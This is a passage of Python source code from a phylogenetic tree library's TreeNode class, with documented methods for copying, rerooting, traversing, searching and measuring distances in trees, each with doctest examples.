__deepcopy__ = deepcopy = copy def unrooted_deepcopy(self, parent=None): r"""Walks the tree unrooted-style and returns a new copy Perform a deepcopy of self and return a new copy of the tree as an unrooted copy. This is useful for defining new roots of the tree as the `TreeNode`. This method calls `TreeNode.unrooted_copy` which is recursive. Parameters ---------- parent : TreeNode or None Used to avoid infinite loops when performing the unrooted traverse Returns ------- TreeNode A new copy of the tree See Also -------- copy unrooted_copy root_at Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,(b,c)d)e,(f,g)h)i;")) >>> new_tree = tree.find('d').unrooted_deepcopy() >>> print(new_tree) (b,c,(a,((f,g)h)e)d)root; <BLANKLINE> """ root = self.root() root.assign_ids() new_tree = root.copy() new_tree.assign_ids() new_tree_self = new_tree.find_by_id(self.id) return new_tree_self.unrooted_copy(parent) def unrooted_copy(self, parent=None): r"""Walks the tree unrooted-style and returns a copy Perform a copy of self and return a new copy of the tree as an unrooted copy. This is useful for defining new roots of the tree as the `TreeNode`. This method is recursive. Warning, this is _NOT_ a deepcopy Parameters ---------- parent : TreeNode or None Used to avoid infinite loops when performing the unrooted traverse Returns ------- TreeNode A new copy of the tree See Also -------- copy unrooted_deepcopy root_at Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,(b,c)d)e,(f,g)h)i;")) >>> new_tree = tree.find('d').unrooted_copy() >>> print(new_tree) (b,c,(a,((f,g)h)e)d)root; <BLANKLINE> """ neighbors = self.neighbors(ignore=parent) children = [c.unrooted_copy(parent=self) for c in neighbors] # we might be walking UP the tree, so: if parent is None: # base edge edgename = None length = None elif parent.parent is self: # self's parent is becoming self's child edgename = parent.name length = parent.length else: assert parent is self.parent edgename = self.name length = self.length result = self.__class__(name=edgename, children=children, length=length) if parent is None: result.name = "root" return result def count(self, tips=False): """Get the count of nodes in the tree Parameters ---------- tips : bool If `True`, only return the count of the number of tips Returns ------- int The number of nodes or tips Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,(b,c)d)e,(f,g)h)i;")) >>> print(tree.count()) 9 >>> print(tree.count(tips=True)) 5 """ if tips: return len(list(self.tips())) else: return len(list(self.traverse(include_self=True))) def subtree(self, tip_list=None): r"""Make a copy of the subtree""" raise NotImplementedError() def subset(self): r"""Returns set of names that descend from specified node Get the set of `name` on tips that descend from this node. Returns ------- frozenset The set of names at the tips of the clade that descends from self See Also -------- subsets compare_subsets Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,(b,c)d)e,(f,g)h)i;")) >>> sorted(tree.subset()) ['a', 'b', 'c', 'f', 'g'] """ return frozenset({i.name for i in self.tips()}) def subsets(self): r"""Return all sets of names that come from self and its descendants Compute all subsets of tip names over `self`, or, represent a tree as a set of nested sets. Returns ------- frozenset A frozenset of frozensets of str See Also -------- subset compare_subsets Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("(((a,b)c,(d,e)f)h)root;")) >>> for s in sorted(tree.subsets()): ... print(sorted(s)) ['a', 'b'] ['d', 'e'] ['a', 'b', 'd', 'e'] """ sets = [] for i in self.postorder(include_self=False): if not i.children: i.__leaf_set = frozenset([i.name]) else: leaf_set = reduce(or_, [c.__leaf_set for c in i.children]) if len(leaf_set) > 1: sets.append(leaf_set) i.__leaf_set = leaf_set return frozenset(sets) def root_at(self, node): r"""Return a new tree rooted at the provided node. This can be useful for drawing unrooted trees with an orientation that reflects knowledge of the true root location. Parameters ---------- node : TreeNode or str The node to root at Returns ------- TreeNode A new copy of the tree Raises ------ TreeError Raises a `TreeError` if a tip is specified as the new root See Also -------- root_at_midpoint unrooted_deepcopy Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("(((a,b)c,(d,e)f)g,h)i;")) >>> print(tree.root_at('c')) (a,b,((d,e)f,(h)g)c)root; <BLANKLINE> """ if isinstance(node, str): node = self.find(node) if not node.children: raise TreeError("Can't use a tip (%s) as the root" % repr(node.name)) return node.unrooted_deepcopy() def root_at_midpoint(self): r"""Return a new tree rooted at midpoint of the two tips farthest apart This method doesn't preserve the internal node naming or structure, but does keep tip to tip distances correct. Uses `unrooted_copy` but operates on a full copy of the tree. Raises ------ TreeError If a tip ends up being the mid point Returns ------- TreeNode A tree rooted at its midpoint LengthError Midpoint rooting requires `length` and will raise (indirectly) if evaluated nodes don't have length. See Also -------- root_at unrooted_deepcopy Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("(((d:1,e:1,(g:1)f:1)c:1)b:1,h:1)" ... "a:1;")) >>> print(tree.root_at_midpoint()) ((d:1.0,e:1.0,(g:1.0)f:1.0)c:0.5,((h:1.0)b:1.0):0.5)root; <BLANKLINE> """ tree = self.copy() max_dist, tips = tree.get_max_distance() half_max_dist = max_dist / 2.0 if max_dist == 0.0: # only pathological cases with no lengths return tree tip1 = tree.find(tips[0]) tip2 = tree.find(tips[1]) lca = tree.lowest_common_ancestor([tip1, tip2]) if tip1.accumulate_to_ancestor(lca) > half_max_dist: climb_node = tip1 else: climb_node = tip2 dist_climbed = 0.0 while dist_climbed + climb_node.length < half_max_dist: dist_climbed += climb_node.length climb_node = climb_node.parent # now midpt is either at on the branch to climb_node's parent # or midpt is at climb_node's parent if dist_climbed + climb_node.length == half_max_dist: # climb to midpoint spot climb_node = climb_node.parent if climb_node.is_tip(): raise TreeError('error trying to root tree at tip') else: return climb_node.unrooted_copy() else: # make a new node on climb_node's branch to its parent old_br_len = climb_node.length new_root = tree.__class__() climb_node.parent.append(new_root) new_root.append(climb_node) climb_node.length = half_max_dist - dist_climbed new_root.length = old_br_len - climb_node.length return new_root.unrooted_copy() def is_tip(self): r"""Returns `True` if the current node has no `children`. Returns ------- bool `True` if the node is a tip See Also -------- is_root has_children Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c);")) >>> print(tree.is_tip()) False >>> print(tree.find('a').is_tip()) True """ return not self.children def is_root(self): r"""Returns `True` if the current is a root, i.e. has no `parent`. Returns ------- bool `True` if the node is the root See Also -------- is_tip has_children Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c);")) >>> print(tree.is_root()) True >>> print(tree.find('a').is_root()) False """ return self.parent is None def has_children(self): r"""Returns `True` if the node has `children`. Returns ------- bool `True` if the node has children. See Also -------- is_tip is_root Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c);")) >>> print(tree.has_children()) True >>> print(tree.find('a').has_children()) False """ return not self.is_tip() def traverse(self, self_before=True, self_after=False, include_self=True): r"""Returns iterator over descendants This is a depth-first traversal. Since the trees are not binary, preorder and postorder traversals are possible, but inorder traversals would depend on the data in the tree and are not handled here. Parameters ---------- self_before : bool includes each node before its descendants if True self_after : bool includes each node after its descendants if True include_self : bool include the initial node if True `self_before` and `self_after` are independent. If neither is `True`, only terminal nodes will be returned. Note that if self is terminal, it will only be included once even if `self_before` and `self_after` are both `True`. Yields ------ TreeNode Traversed node. See Also -------- preorder postorder pre_and_postorder levelorder tips non_tips Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c);")) >>> for node in tree.traverse(): ... print(node.name) None c a b """ if self_before: if self_after: return self.pre_and_postorder(include_self=include_self) else: return self.preorder(include_self=include_self) else: if self_after: return self.postorder(include_self=include_self) else: return self.tips(include_self=include_self) def preorder(self, include_self=True): r"""Performs preorder iteration over tree Parameters ---------- include_self : bool include the initial node if True Yields ------ TreeNode Traversed node. See Also -------- traverse postorder pre_and_postorder levelorder tips non_tips Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c);")) >>> for node in tree.preorder(): ... print(node.name) None c a b """ stack = [self] while stack: curr = stack.pop() if include_self or (curr is not self): yield curr if curr.children: stack.extend(curr.children[::-1]) def postorder(self, include_self=True): r"""Performs postorder iteration over tree. This is somewhat inelegant compared to saving the node and its index on the stack, but is 30% faster in the average case and 3x faster in the worst case (for a comb tree). Parameters ---------- include_self : bool include the initial node if True Yields ------ TreeNode Traversed node. See Also -------- traverse preorder pre_and_postorder levelorder tips non_tips Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c);")) >>> for node in tree.postorder(): ... print(node.name) a b c None """ child_index_stack = [0] curr = self curr_children = self.children curr_children_len = len(curr_children) while 1: curr_index = child_index_stack[-1] # if there are children left, process them if curr_index < curr_children_len: curr_child = curr_children[curr_index] # if the current child has children, go there if curr_child.children: child_index_stack.append(0) curr = curr_child curr_children = curr.children curr_children_len = len(curr_children) curr_index = 0 # otherwise, yield that child else: yield curr_child child_index_stack[-1] += 1 # if there are no children left, return self, and move to # self's parent else: if include_self or (curr is not self): yield curr if curr is self: break curr = curr.parent curr_children = curr.children curr_children_len = len(curr_children) child_index_stack.pop() child_index_stack[-1] += 1 def pre_and_postorder(self, include_self=True): r"""Performs iteration over tree, visiting node before and after Parameters ---------- include_self : bool include the initial node if True Yields ------ TreeNode Traversed node. See Also -------- traverse postorder preorder levelorder tips non_tips Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c);")) >>> for node in tree.pre_and_postorder(): ... print(node.name) None c a b c None """ # handle simple case first if not self.children: if include_self: yield self raise StopIteration child_index_stack = [0] curr = self curr_children = self.children while 1: curr_index = child_index_stack[-1] if not curr_index: if include_self or (curr is not self): yield curr # if there are children left, process them if curr_index < len(curr_children): curr_child = curr_children[curr_index] # if the current child has children, go there if curr_child.children: child_index_stack.append(0) curr = curr_child curr_children = curr.children curr_index = 0 # otherwise, yield that child else: yield curr_child child_index_stack[-1] += 1 # if there are no children left, return self, and move to # self's parent else: if include_self or (curr is not self): yield curr if curr is self: break curr = curr.parent curr_children = curr.children child_index_stack.pop() child_index_stack[-1] += 1 def levelorder(self, include_self=True): r"""Performs levelorder iteration over tree Parameters ---------- include_self : bool include the initial node if True Yields ------ TreeNode Traversed node. See Also -------- traverse postorder preorder pre_and_postorder tips non_tips Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c,(d,e)f);")) >>> for node in tree.levelorder(): ... print(node.name) None c f a b d e """ queue = [self] while queue: curr = queue.pop(0) if include_self or (curr is not self): yield curr if curr.children: queue.extend(curr.children) def tips(self, include_self=False): r"""Iterates over tips descended from `self`. Node order is consistent between calls and is ordered by a postorder traversal of the tree. Parameters ---------- include_self : bool include the initial node if True Yields ------ TreeNode Traversed node. See Also -------- traverse postorder preorder pre_and_postorder levelorder non_tips Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c,(d,e)f);")) >>> for node in tree.tips(): ... print(node.name) a b d e """ for n in self.postorder(include_self=False): if n.is_tip(): yield n def non_tips(self, include_self=False): r"""Iterates over nontips descended from self `include_self`, if `True` (default is False), will return the current node as part of non_tips if it is a non_tip. Node order is consistent between calls and is ordered by a postorder traversal of the tree. Parameters ---------- include_self : bool include the initial node if True Yields ------ TreeNode Traversed node. See Also -------- traverse postorder preorder pre_and_postorder levelorder tips Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c,(d,e)f);")) >>> for node in tree.non_tips(): ... print(node.name) c f """ for n in self.postorder(include_self): if not n.is_tip(): yield n def invalidate_caches(self, attr=True): r"""Delete lookup and attribute caches Parameters ---------- attr : bool, optional If ``True``, invalidate attribute caches created by `TreeNode.cache_attr`. See Also -------- create_caches cache_attr find """ if not self.is_root(): self.root().invalidate_caches() else: self._tip_cache = {} self._non_tip_cache = {} if self._registered_caches and attr: for n in self.traverse(): for cache in self._registered_caches: if hasattr(n, cache): delattr(n, cache) def create_caches(self): r"""Construct an internal lookups to facilitate searching by name This method will not cache nodes in which the .name is None. This method will raise `DuplicateNodeError` if a name conflict in the tips is discovered, but will not raise if on internal nodes. This is because, in practice, the tips of a tree are required to be unique while no such requirement holds for internal nodes. Raises ------ DuplicateNodeError The tip cache requires that names are unique (with the exception of names that are None) See Also -------- invalidate_caches cache_attr find """ if not self.is_root(): self.root().create_caches() else: if self._tip_cache and self._non_tip_cache: return self.invalidate_caches(attr=False) tip_cache = {} non_tip_cache = defaultdict(list) for node in self.postorder(): name = node.name if name is None: continue if node.is_tip(): if name in tip_cache: raise DuplicateNodeError("Tip with name '%s' already " "exists!" % name) tip_cache[name] = node else: non_tip_cache[name].append(node) self._tip_cache = tip_cache self._non_tip_cache = non_tip_cache def find_all(self, name): r"""Find all nodes that match `name` The first call to `find_all` will cache all nodes in the tree on the assumption that additional calls to `find_all` will be made. Parameters ---------- name : TreeNode or str The name or node to find. If `name` is `TreeNode` then all other nodes with the same name will be returned. Raises ------ MissingNodeError Raises if the node to be searched for is not found Returns ------- list of TreeNode The nodes found See Also -------- find find_by_id find_by_func Examples -------- >>> from six import StringIO >>> from skbio.tree import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c,(d,e)d,(f,g)c);")) >>> for node in tree.find_all('c'): ... print(node.name, node.children[0].name, node.children[1].name) c a b c f g >>> for node in tree.find_all('d'): ... print(node.name, str(node)) d (d,e)d; <BLANKLINE> d d; <BLANKLINE> """ root = self.root() # if what is being passed in looks like a node, just return it if isinstance(name, root.__class__): return [name] root.create_caches() tip = root._tip_cache.get(name, None) nodes = root._non_tip_cache.get(name, []) nodes.append(tip) if tip is not None else None if not nodes: raise MissingNodeError("Node %s is not in self" % name) else: return nodes def find(self, name): r"""Find a node by `name`. The first call to `find` will cache all nodes in the tree on the assumption that additional calls to `find` will be made. `find` will first attempt to find the node in the tips. If it cannot find a corresponding tip, then it will search through the internal nodes of the tree. In practice, phylogenetic trees and other common trees in biology do not have unique internal node names. As a result, this find method will only return the first occurance of an internal node encountered on a postorder traversal of the tree. Parameters ---------- name : TreeNode or str The name or node to find. If `name` is `TreeNode` then it is simply returned Raises ------ MissingNodeError Raises if the node to be searched for is not found Returns ------- TreeNode The found node See Also -------- find_all find_by_id find_by_func Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c,(d,e)f);")) >>> print(tree.find('c').name) c """ root = self.root() # if what is being passed in looks like a node, just return it if isinstance(name, root.__class__): return name root.create_caches() node = root._tip_cache.get(name, None) if node is None: node = root._non_tip_cache.get(name, [None])[0] if node is None: raise MissingNodeError("Node %s is not in self" % name) else: return node def find_by_id(self, node_id): r"""Find a node by `id`. This search method is based from the root. Parameters ---------- node_id : int The `id` of a node in the tree Returns ------- TreeNode The tree node with the matcing id Notes ----- This method does not cache id associations. A full traversal of the tree is performed to find a node by an id on every call. Raises ------ MissingNodeError This method will raise if the `id` cannot be found See Also -------- find find_all find_by_func Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c,(d,e)f);")) >>> print(tree.find_by_id(2).name) d """ # if this method gets used frequently, then we should cache by ID # as well root = self.root() root.assign_ids() node = None for n in self.traverse(include_self=True): if n.id == node_id: node = n break if node is None: raise MissingNodeError("ID %d is not in self" % node_id) else: return node def find_by_func(self, func): r"""Find all nodes given a function This search method is based on the current subtree, not the root. Parameters ---------- func : a function A function that accepts a TreeNode and returns `True` or `False`, where `True` indicates the node is to be yielded Yields ------ TreeNode Node found by `func`. See Also -------- find find_all find_by_id Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c,(d,e)f);")) >>> func = lambda x: x.parent == tree.find('c') >>> [n.name for n in tree.find_by_func(func)] ['a', 'b'] """ for node in self.traverse(include_self=True): if func(node): yield node def ancestors(self): r"""Returns all ancestors back to the root This call will return all nodes in the path back to root, but does not include the node instance that the call was made from. Returns ------- list of TreeNode The path, toward the root, from self Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c,(d,e)f)root;")) >>> [node.name for node in tree.find('a').ancestors()] ['c', 'root'] """ result = [] curr = self while not curr.is_root(): result.append(curr.parent) curr = curr.parent return result def root(self): r"""Returns root of the tree `self` is in Returns ------- TreeNode The root of the tree Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c,(d,e)f)root;")) >>> tip_a = tree.find('a') >>> root = tip_a.root() >>> root == tree True """ curr = self while not curr.is_root(): curr = curr.parent return curr def siblings(self): r"""Returns all nodes that are `children` of `self` `parent`. This call excludes `self` from the list. Returns ------- list of TreeNode The list of sibling nodes relative to self See Also -------- neighbors Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c,(d,e,f)g)root;")) >>> tip_e = tree.find('e') >>> [n.name for n in tip_e.siblings()] ['d', 'f'] """ if self.is_root(): return [] result = self.parent.children[:] result.remove(self) return result def neighbors(self, ignore=None): r"""Returns all nodes that are connected to self This call does not include `self` in the result Parameters ---------- ignore : TreeNode A node to ignore Returns ------- list of TreeNode The list of all nodes that are connected to self Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c,(d,e)f)root;")) >>> node_c = tree.find('c') >>> [n.name for n in node_c.neighbors()] ['a', 'b', 'root'] """ nodes = [n for n in self.children + [self.parent] if n is not None] if ignore is None: return nodes else: return [n for n in nodes if n is not ignore] def lowest_common_ancestor(self, tipnames): r"""Lowest common ancestor for a list of tips Parameters ---------- tipnames : list of TreeNode or str The nodes of interest Returns ------- TreeNode The lowest common ancestor of the passed in nodes Raises ------ ValueError If no tips could be found in the tree Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c,(d,e)f)root;")) >>> nodes = [tree.find('a'), tree.find('b')] >>> lca = tree.lowest_common_ancestor(nodes) >>> print(lca.name) c >>> nodes = [tree.find('a'), tree.find('e')] >>> lca = tree.lca(nodes) # lca is an alias for convience >>> print(lca.name) root """ if len(tipnames) == 1: return self.find(tipnames[0]) tips = [self.find(name) for name in tipnames] if len(tips) == 0: raise ValueError("No tips found!") nodes_to_scrub = [] for t in tips: if t.is_root(): # has to be the LCA... return t prev = t curr = t.parent while curr and not hasattr(curr, 'black'): setattr(curr, 'black', [prev]) nodes_to_scrub.append(curr) prev = curr curr = curr.parent # increase black count, multiple children lead to here if curr: curr.black.append(prev) curr = self while len(curr.black) == 1: curr = curr.black[0] # clean up tree for n in nodes_to_scrub: delattr(n, 'black') return curr lca = lowest_common_ancestor # for convenience @classmethod def from_taxonomy(cls, lineage_map): """Construct a tree from a taxonomy Parameters ---------- lineage_map : iterable of tuple A id to lineage mapping where the first index is an ID and the second index is an iterable of the lineage. Returns ------- TreeNode The constructed taxonomy Examples -------- >>> from skbio.tree import TreeNode >>> lineages = {'1': ['Bacteria', 'Firmicutes', 'Clostridia'], ... '2': ['Bacteria', 'Firmicutes', 'Bacilli'], ... '3': ['Bacteria', 'Bacteroidetes', 'Sphingobacteria'], ... '4': ['Archaea', 'Euryarchaeota', 'Thermoplasmata'], ... '5': ['Archaea', 'Euryarchaeota', 'Thermoplasmata'], ... '6': ['Archaea', 'Euryarchaeota', 'Halobacteria'], ... '7': ['Archaea', 'Euryarchaeota', 'Halobacteria'], ... '8': ['Bacteria', 'Bacteroidetes', 'Sphingobacteria'], ... '9': ['Bacteria', 'Bacteroidetes', 'Cytophagia']} >>> tree = TreeNode.from_taxonomy(lineages.items()) >>> print(tree.ascii_art()) /Clostridia-1 /Firmicutes | \Bacilli- /-2 /Bacteria| | | /-3 | | /Sphingobacteria | \Bacteroidetes \-8 | | ---------| \Cytophagia-9 | | /-5 | /Thermoplasmata | | \-4 \Archaea- /Euryarchaeota | /-7 \Halobacteria \-6 """ root = cls(name=None) root._lookup = {} for id_, lineage in lineage_map: cur_node = root # for each name, see if we've seen it, if not, add that puppy on for name in lineage: if name in cur_node._lookup: cur_node = cur_node._lookup[name] else: new_node = TreeNode(name=name) new_node._lookup = {} cur_node._lookup[name] = new_node cur_node.append(new_node) cur_node = new_node cur_node.append(TreeNode(name=id_)) # scrub the lookups for node in root.non_tips(include_self=True): del node._lookup return root def _balanced_distance_to_tip(self): """Return the distance to tip from this node. The distance to every tip from this node must be equal for this to return a correct result. Returns ------- int The distance to tip of a length-balanced tree """ node = self distance = 0 while node.has_children(): distance += node.children[0].length node = node.children[0] return distance @classmethod def from_linkage_matrix(cls, linkage_matrix, id_list): """Return tree from SciPy linkage matrix. Parameters ---------- linkage_matrix : ndarray A SciPy linkage matrix as returned by `scipy.cluster.hierarchy.linkage` id_list : list The indices of the `id_list` will be used in the linkage_matrix Returns ------- TreeNode An unrooted bifurcated tree See Also -------- scipy.cluster.hierarchy.linkage """ tip_width = len(id_list) cluster_count = len(linkage_matrix) lookup_len = cluster_count + tip_width node_lookup = np.empty(lookup_len, dtype=TreeNode) for i, name in enumerate(id_list): node_lookup[i] = TreeNode(name=name) for i in range(tip_width, lookup_len): node_lookup[i] = TreeNode() newest_cluster_index = cluster_count + 1 for link in linkage_matrix: child_a = node_lookup[int(link[0])] child_b = node_lookup[int(link[1])] path_length = link[2] / 2 child_a.length = path_length - child_a._balanced_distance_to_tip() child_b.length = path_length - child_b._balanced_distance_to_tip() new_cluster = node_lookup[newest_cluster_index] new_cluster.append(child_a) new_cluster.append(child_b) newest_cluster_index += 1 return node_lookup[-1] def to_taxonomy(self, allow_empty=False, filter_f=None): """Returns a taxonomy representation of self Parameters ---------- allow_empty : bool, optional Allow gaps the taxonomy (e.g., internal nodes without names). filter_f : function, optional Specify a filtering function that returns True if the lineage is to be returned. This function must accept a ``TreeNode`` as its first parameter, and a ``list`` that represents the lineage as the second parameter. Yields ------ tuple ``(tip, [lineage])`` where ``tip`` corresponds to a tip in the tree and ``[lineage]`` is the expanded names from root to tip. ``None`` and empty strings are omitted from the lineage. Notes ----- If ``allow_empty`` is ``True`` and the root node does not have a name, then that name will not be included. This is because it is common to have multiple domains represented in the taxonomy, which would result in a root node that does not have a name and does not make sense to represent in the output. Examples -------- >>> from skbio.tree import TreeNode >>> lineages = {'1': ['Bacteria', 'Firmicutes', 'Clostridia'], ... '2': ['Bacteria', 'Firmicutes', 'Bacilli'], ... '3': ['Bacteria', 'Bacteroidetes', 'Sphingobacteria'], ... '4': ['Archaea', 'Euryarchaeota', 'Thermoplasmata'], ... '5': ['Archaea', 'Euryarchaeota', 'Thermoplasmata'], ... '6': ['Archaea', 'Euryarchaeota', 'Halobacteria'], ... '7': ['Archaea', 'Euryarchaeota', 'Halobacteria'], ... '8': ['Bacteria', 'Bacteroidetes', 'Sphingobacteria'], ... '9': ['Bacteria', 'Bacteroidetes', 'Cytophagia']} >>> tree = TreeNode.from_taxonomy(lineages.items()) >>> lineages = sorted([(n.name, l) for n, l in tree.to_taxonomy()]) >>> for name, lineage in lineages: ... print(name, '; '.join(lineage)) 1 Bacteria; Firmicutes; Clostridia 2 Bacteria; Firmicutes; Bacilli 3 Bacteria; Bacteroidetes; Sphingobacteria 4 Archaea; Euryarchaeota; Thermoplasmata 5 Archaea; Euryarchaeota; Thermoplasmata 6 Archaea; Euryarchaeota; Halobacteria 7 Archaea; Euryarchaeota; Halobacteria 8 Bacteria; Bacteroidetes; Sphingobacteria 9 Bacteria; Bacteroidetes; Cytophagia """ if filter_f is None: def filter_f(a, b): return True self.assign_ids() seen = set() lineage = [] # visit internal nodes while traversing out to the tips, and on the # way back up for node in self.traverse(self_before=True, self_after=True): if node.is_tip(): if filter_f(node, lineage): yield (node, lineage[:]) else: if allow_empty: if node.is_root() and not node.name: continue else: if not node.name: continue if node.id in seen: lineage.pop(-1) else: lineage.append(node.name) seen.add(node.id) def to_array(self, attrs=None): """Return an array representation of self Parameters ---------- attrs : list of tuple or None The attributes and types to return. The expected form is [(attribute_name, type)]. If `None`, then `name`, `length`, and `id` are returned. Returns ------- dict of array {id_index: {id: TreeNode}, child_index: [(node_id, left_child_id, right_child_id)], attr_1: array(...), ... attr_N: array(...)} Notes ----- Attribute arrays are in index order such that TreeNode.id can be used as a lookup into the the array If `length` is an attribute, this will also record the length off the root which is `nan`. Take care when summing. Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> t = TreeNode.read(StringIO('(((a:1,b:2,c:3)x:4,(d:5)y:6)z:7);')) >>> res = t.to_array() >>> res.keys() ['child_index', 'length', 'name', 'id_index', 'id'] >>> res['child_index'] [(4, 0, 2), (5, 3, 3), (6, 4, 5), (7, 6, 6)] >>> for k, v in res['id_index'].items(): ... print(k, v) ... 0 a:1.0; <BLANKLINE> 1 b:2.0; <BLANKLINE> 2 c:3.0; <BLANKLINE> 3 d:5.0; <BLANKLINE> 4 (a:1.0,b:2.0,c:3.0)x:4.0; <BLANKLINE> 5 (d:5.0)y:6.0; <BLANKLINE> 6 ((a:1.0,b:2.0,c:3.0)x:4.0,(d:5.0)y:6.0)z:7.0; <BLANKLINE> 7 (((a:1.0,b:2.0,c:3.0)x:4.0,(d:5.0)y:6.0)z:7.0); <BLANKLINE> >>> res['id'] array([0, 1, 2, 3, 4, 5, 6, 7]) >>> res['name'] array(['a', 'b', 'c', 'd', 'x', 'y', 'z', None], dtype=object) """ if attrs is None: attrs = [('name', object), ('length', float), ('id', int)] else: for attr, dtype in attrs: if not hasattr(self, attr): raise AttributeError("Invalid attribute '%s'." % attr) id_index, child_index = self.index_tree() n = self.id + 1 # assign_ids starts at 0 tmp = [np.zeros(n, dtype=dtype) for attr, dtype in attrs] for node in self.traverse(include_self=True): n_id = node.id for idx, (attr, dtype) in enumerate(attrs): tmp[idx][n_id] = getattr(node, attr) results = {'id_index': id_index, 'child_index': child_index} results.update({attr: arr for (attr, dtype), arr in zip(attrs, tmp)}) return results def _ascii_art(self, char1='-', show_internal=True, compact=False): LEN = 10 PAD = ' ' * LEN PA = ' ' * (LEN - 1) namestr = self.name or '' # prevents name of NoneType if self.children: mids = [] result = [] for c in self.children: if c is self.children[0]: char2 = '/' elif c is self.children[-1]: char2 = '\\' else: char2 = '-' (clines, mid) = c._ascii_art(char2, show_internal, compact) mids.append(mid + len(result)) result.extend(clines) if not compact: result.append('') if not compact: result.pop() (lo, hi, end) = (mids[0], mids[-1], len(result)) prefixes = [PAD] * (lo + 1) + [PA + '|'] * \ (hi - lo - 1) + [PAD] * (end - hi) mid = np.int(np.trunc((lo + hi) / 2)) prefixes[mid] = char1 + '-' * (LEN - 2) + prefixes[mid][-1] result = [p + l for (p, l) in zip(prefixes, result)] if show_internal: stem = result[mid] result[mid] = stem[0] + namestr + stem[len(namestr) + 1:] return (result, mid) else: return ([char1 + '-' + namestr], 0) def ascii_art(self, show_internal=True, compact=False): r"""Returns a string containing an ascii drawing of the tree Note, this method calls a private recursive function and is not safe for large trees. Parameters ---------- show_internal : bool includes internal edge names compact : bool use exactly one line per tip Returns ------- str an ASCII formatted version of the tree Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c,(d,e)f)root;")) >>> print(tree.ascii_art()) /-a /c-------| | \-b -root----| | /-d \f-------| \-e """ (lines, mid) = self._ascii_art(show_internal=show_internal, compact=compact) return '\n'.join(lines) def accumulate_to_ancestor(self, ancestor): r"""Return the sum of the distance between self and ancestor Parameters ---------- ancestor : TreeNode The node of the ancestor to accumulate distance too Returns ------- float The sum of lengths between self and ancestor Raises ------ NoParentError A NoParentError is raised if the ancestor is not an ancestor of self NoLengthError A NoLengthError is raised if one of the nodes between self and ancestor (including self) lacks a `length` attribute See Also -------- distance Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a:1,b:2)c:3,(d:4,e:5)f:6)root;")) >>> root = tree >>> tree.find('a').accumulate_to_ancestor(root) 4.0 """ accum = 0.0 curr = self while curr is not ancestor: if curr.is_root(): raise NoParentError("Provided ancestor is not in the path") if curr.length is None: raise NoLengthError("No length on node %s found!" % curr.name or "unnamed") accum += curr.length curr = curr.parent return accum def distance(self, other): """Return the distance between self and other This method can be used to compute the distances between two tips, however, it is not optimized for computing pairwise tip distances. Parameters ---------- other : TreeNode The node to compute a distance to Returns ------- float The distance between two nodes Raises ------ NoLengthError A NoLengthError will be raised if a node without `length` is encountered See Also -------- tip_tip_distances accumulate_to_ancestor compare_tip_distances get_max_distance Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a:1,b:2)c:3,(d:4,e:5)f:6)root;")) >>> tip_a = tree.find('a') >>> tip_d = tree.find('d') >>> tip_a.distance(tip_d) 14.0 """ if self is other: return 0.0 root = self.root() lca = root.lowest_common_ancestor([self, other]) accum = self.accumulate_to_ancestor(lca) accum += other.accumulate_to_ancestor(lca) return accum def _set_max_distance(self): """Propagate tip distance information up the tree This method was originally implemented by Julia Goodrich with the intent of being able to determine max tip to tip distances between nodes on large trees efficiently. The code has been modified to track the specific tips the distance is between """ for n in self.postorder(): if n.is_tip(): n.MaxDistTips = [[0.0, n], [0.0, n]] else: if len(n.children) == 1: raise TreeError("No support for single descedent nodes") else: tip_info = [(max(c.MaxDistTips), c) for c in n.children] dists = [i[0][0] for i in tip_info] best_idx = np.argsort(dists)[-2:] tip_a, child_a = tip_info[best_idx[0]] tip_b, child_b = tip_info[best_idx[1]] tip_a[0] += child_a.length or 0.0 tip_b[0] += child_b.length or 0.0 n.MaxDistTips = [tip_a, tip_b] def _get_max_distance_singledesc(self): """returns the max distance between any pair of tips Also returns the 